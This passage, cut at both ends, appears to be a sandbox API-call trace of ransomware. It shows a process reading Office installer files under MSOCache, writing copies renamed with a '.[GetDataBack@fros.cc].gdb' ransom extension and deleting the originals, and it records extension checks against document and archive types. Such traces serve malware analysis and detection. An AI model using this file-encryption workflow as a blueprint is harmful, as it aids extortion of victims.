dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.537] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0122.537] GetLastError () returned 0x0 [0122.537] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xd8400, lpOverlapped=0x0) returned 1 [0122.555] WriteFile (in: hFile=0x1cc, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xd8410, lpOverlapped=0x0) returned 1 [0122.570] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0122.570] WriteFile (in: hFile=0x1cc, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xe6, lpOverlapped=0x0) returned 1 [0122.570] SetEndOfFile (hFile=0x1cc) returned 1 [0122.571] CloseHandle (hObject=0x1cc) returned 1 [0122.714] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.714] SetEndOfFile (hFile=0x214) returned 1 [0122.721] CloseHandle (hObject=0x214) returned 1 [0122.721] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0122.721] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0122.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.721] lstrlenW (lpString=".doc") returned 4 [0122.721] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0122.721] lstrlenW (lpString=".docx") returned 5 [0122.721] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0122.721] lstrlenW (lpString=".pdf") returned 4 [0122.721] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0122.721] lstrlenW (lpString=".xls") returned 4 [0122.721] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0122.721] lstrlenW (lpString=".xlsx") returned 5 [0122.721] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0122.721] lstrlenW (lpString=".ppt") returned 4 [0122.721] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0122.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.721] lstrlenW (lpString=".zip") returned 4 [0122.721] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString=".rar") returned 4 [0122.722] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString=".bz2") returned 4 [0122.722] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString=".7z") returned 3 [0122.722] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".dbf") returned 4 [0122.722] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".1cd") returned 4 [0122.722] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".jpg") returned 4 [0122.722] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".doc") returned 4 [0122.722] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString=".docx") returned 5 [0122.722] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0122.722] lstrlenW (lpString=".pdf") returned 4 [0122.722] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString=".xls") returned 4 [0122.722] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString=".xlsx") returned 5 [0122.722] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0122.722] lstrlenW (lpString=".ppt") returned 4 [0122.722] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".zip") returned 4 [0122.722] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString=".rar") returned 4 [0122.722] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0122.722] lstrlenW (lpString=".bz2") returned 4 [0122.722] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString=".7z") returned 3 [0122.722] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".dbf") returned 4 [0122.722] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.722] lstrlenW (lpString=".1cd") returned 4 [0122.722] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0122.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0122.723] lstrlenW (lpString=".jpg") returned 4 [0122.723] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0122.723] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0122.723] lstrlenW (lpString="Proofing.msi") returned 12 [0122.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.723] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=868864) returned 1 [0122.723] CloseHandle (hObject=0x214) returned 1 [0122.723] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0122.723] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.723] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.723] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0122.724] GetLastError () returned 0x0 [0122.724] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xd4200, lpOverlapped=0x0) returned 1 [0122.830] WriteFile (in: hFile=0x1cc, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xd4210, lpOverlapped=0x0) returned 1 [0123.037] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0123.038] WriteFile (in: hFile=0x1cc, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xec, lpOverlapped=0x0) returned 1 [0123.038] SetEndOfFile (hFile=0x1cc) returned 1 [0123.038] CloseHandle (hObject=0x1cc) returned 1 [0123.044] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0123.044] SetEndOfFile (hFile=0x214) returned 1 [0123.052] CloseHandle (hObject=0x214) returned 1 [0123.053] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0123.053] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0123.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.053] lstrlenW (lpString=".doc") returned 4 [0123.053] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0123.053] lstrlenW (lpString=".docx") returned 5 [0123.053] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0123.053] lstrlenW (lpString=".pdf") returned 4 [0123.053] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0123.053] lstrlenW (lpString=".xls") returned 4 [0123.053] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0123.053] lstrlenW (lpString=".xlsx") returned 5 [0123.053] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0123.053] lstrlenW (lpString=".ppt") returned 4 [0123.053] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.054] lstrlenW (lpString=".zip") returned 4 [0123.054] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0123.054] lstrlenW (lpString=".rar") returned 4 [0123.054] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0123.054] lstrlenW (lpString=".bz2") returned 4 [0123.054] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0123.054] lstrlenW (lpString=".7z") returned 3 [0123.054] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.054] lstrlenW (lpString=".dbf") returned 4 [0123.054] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.054] lstrlenW (lpString=".1cd") returned 4 [0123.054] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.054] lstrlenW (lpString=".jpg") returned 4 [0123.054] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.054] lstrlenW (lpString=".doc") returned 4 [0123.054] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0123.054] lstrlenW (lpString=".docx") returned 5 [0123.054] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0123.054] lstrlenW (lpString=".pdf") returned 4 [0123.054] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0123.054] lstrlenW (lpString=".xls") returned 4 [0123.054] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0123.054] lstrlenW (lpString=".xlsx") returned 5 [0123.054] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0123.054] lstrlenW (lpString=".ppt") returned 4 [0123.054] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0123.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.055] lstrlenW (lpString=".zip") returned 4 [0123.055] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0123.055] lstrlenW (lpString=".rar") returned 4 [0123.055] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0123.055] lstrlenW (lpString=".bz2") returned 4 [0123.055] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0123.055] lstrlenW (lpString=".7z") returned 3 [0123.055] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0123.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.055] lstrlenW (lpString=".dbf") returned 4 [0123.055] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0123.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.055] lstrlenW (lpString=".1cd") returned 4 [0123.055] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0123.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0123.055] lstrlenW (lpString=".jpg") returned 4 [0123.055] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0123.055] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0123.055] lstrlenW (lpString="Office32MUI.msi") returned 15 [0123.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0123.056] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=873984) returned 1 [0123.056] CloseHandle (hObject=0x214) returned 1 [0123.056] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0123.056] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0123.056] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0123.056] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0123.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.056] GetLastError () returned 0x0 [0123.056] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xd5600, lpOverlapped=0x0) returned 1 [0123.077] WriteFile (in: hFile=0x1cc, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xd5610, lpOverlapped=0x0) returned 1 [0123.094] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0123.094] WriteFile (in: hFile=0x1cc, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xf2, lpOverlapped=0x0) returned 1 [0123.094] SetEndOfFile (hFile=0x1cc) returned 1 [0123.094] CloseHandle (hObject=0x1cc) returned 1 [0123.102] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0123.102] SetEndOfFile (hFile=0x214) returned 1 [0123.343] CloseHandle (hObject=0x214) returned 1 [0123.343] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0123.343] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0123.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString=".doc") returned 4 [0123.344] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0123.344] lstrlenW (lpString=".docx") returned 5 [0123.344] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0123.344] lstrlenW (lpString=".pdf") returned 4 [0123.344] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0123.344] lstrlenW (lpString=".xls") returned 4 [0123.344] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0123.344] lstrlenW (lpString=".xlsx") returned 5 [0123.344] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0123.344] lstrlenW (lpString=".ppt") returned 4 [0123.344] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString=".zip") returned 4 [0123.344] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0123.344] lstrlenW (lpString=".rar") returned 4 [0123.344] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0123.344] lstrlenW (lpString=".bz2") returned 4 [0123.344] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0123.344] lstrlenW (lpString=".7z") returned 3 [0123.344] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString=".dbf") returned 4 [0123.344] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString=".1cd") returned 4 [0123.344] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString=".jpg") returned 4 [0123.344] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.344] lstrlenW (lpString=".doc") returned 4 [0123.345] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0123.345] lstrlenW (lpString=".docx") returned 5 [0123.345] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0123.345] lstrlenW (lpString=".pdf") returned 4 [0123.345] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0123.345] lstrlenW (lpString=".xls") returned 4 [0123.345] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0123.345] lstrlenW (lpString=".xlsx") returned 5 [0123.345] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0123.345] lstrlenW (lpString=".ppt") returned 4 [0123.345] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0123.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.345] lstrlenW (lpString=".zip") returned 4 [0123.345] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0123.345] lstrlenW (lpString=".rar") returned 4 [0123.345] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0123.345] lstrlenW (lpString=".bz2") returned 4 [0123.345] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0123.345] lstrlenW (lpString=".7z") returned 3 [0123.345] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0123.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.345] lstrlenW (lpString=".dbf") returned 4 [0123.345] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0123.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.345] lstrlenW (lpString=".1cd") returned 4 [0123.345] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0123.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0123.345] lstrlenW (lpString=".jpg") returned 4 [0123.345] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0123.345] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0123.345] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0123.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0123.346] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2928955) returned 1 [0123.346] CloseHandle (hObject=0x214) returned 1 [0123.346] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0123.346] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all 